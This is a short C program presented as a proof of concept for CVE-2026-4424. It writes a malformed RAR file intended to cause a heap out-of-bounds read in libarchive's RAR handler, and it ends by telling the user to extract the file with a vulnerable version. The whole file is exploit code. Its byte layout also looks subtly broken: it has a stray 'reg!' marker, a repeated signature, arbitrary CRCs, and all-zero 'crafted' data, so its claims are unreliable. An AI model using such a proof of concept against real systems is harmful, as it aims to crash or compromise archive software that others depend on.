/*
CVE-2026-4424 PoC - Malformed RAR with LZSS window size transition
This PoC demonstrates the heap out-of-bounds read in libarchive's RAR handler
during compression method transitions with invalid LZSS window size.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// RAR header structure
typedef struct {
unsigned char header_crc[2];
unsigned char header_type;
unsigned char header_flags[2];
unsigned char pack_size[4];
unsigned char unpack_size[4];
unsigned char host_os;
unsigned char file_crc[4];
unsigned char file_time[4];
unsigned char version;
unsigned char name_length;
unsigned char attributes;
} rar_header_t;
// Create a minimal PoC RAR file that triggers the vulnerability
void create_poc_rar(const char* filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) {
fprintf(stderr, "Failed to create file\n");
return;
}
// RAR signature
unsigned char rar_sig[7] = {0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x01};
fwrite(rar_sig, 1, 7, fp);
// First archive header block (marker block)
unsigned char marker[4] = {0x72, 0x65, 0x67, 0x21};
fwrite(marker, 1, 4, fp);
// Archive header with vulnerable LZSS parameters
unsigned char archive_header[] = {
0x1A, 0x07, 0x01, // Signature
0x73, 0x7A, // Header CRC
0x01, // Type: archive header
0x00, 0x00, // Flags
0x00, 0x00, 0x00, 0x00, // Pack size
0x00, 0x00, 0x00, 0x00, // Unpack size
0x00, // Host OS
0x00, 0x00, 0x00, 0x00, // CRC
0x00, 0x00, 0x00, 0x00, // File time
0x29, // Version
0x00, // Name length
0x00 // Attributes
};
fwrite(archive_header, 1, sizeof(archive_header), fp);
// File header block with crafted LZSS window size
unsigned char file_header[] = {
0x30, 0x30, // Header CRC
0x02, // Type: file header
0x01, 0x80, // Flags (packed size exceeds unpacked)
0xFF, 0xFF, 0xFF, 0xFF, // Pack size (large value)
0x00, 0x10, 0x00, 0x00, // Unpack size
0x03, // Host OS
0x00, 0x00, 0x00, 0x00, // File CRC
0x00, 0x00, 0x00, 0x00, // File time
0x29, // Version
0x08, // Name length
0x20, // Attributes
// File name: "test.bin"
0x74, 0x65, 0x73, 0x74, 0x2E, 0x62, 0x69, 0x6E
};
fwrite(file_header, 1, sizeof(file_header), fp);
// Crafted packed data with LZSS window size transition
// This triggers the vulnerability when libarchive processes it
unsigned char packed_data[] = {
0x00, 0x00, 0x00, 0x00, // LZSS dictionary size field
0x00, 0x00, 0x00, 0x00, // Padding
0x00, 0x00, 0x00, 0x00, // More data
0x00, 0x00, 0x00, 0x00
};
fwrite(packed_data, 1, sizeof(packed_data), fp);
// End of archive marker
unsigned char end_marker[] = {0xC4, 0x3D, 0x7B, 0x00, 0x40, 0x00, 0x00, 0x00};
fwrite(end_marker, 1, sizeof(end_marker), fp);
fclose(fp);
printf("PoC RAR file created: %s\n", filename);
}
int main(int argc, char* argv[]) {
const char* output_file = (argc > 1) ? argv[1] : "cve_2026_4424_poc.rar";
create_poc_rar(output_file);
printf("To test: Use vulnerable version of libarchive to extract this file\n");
return 0;
}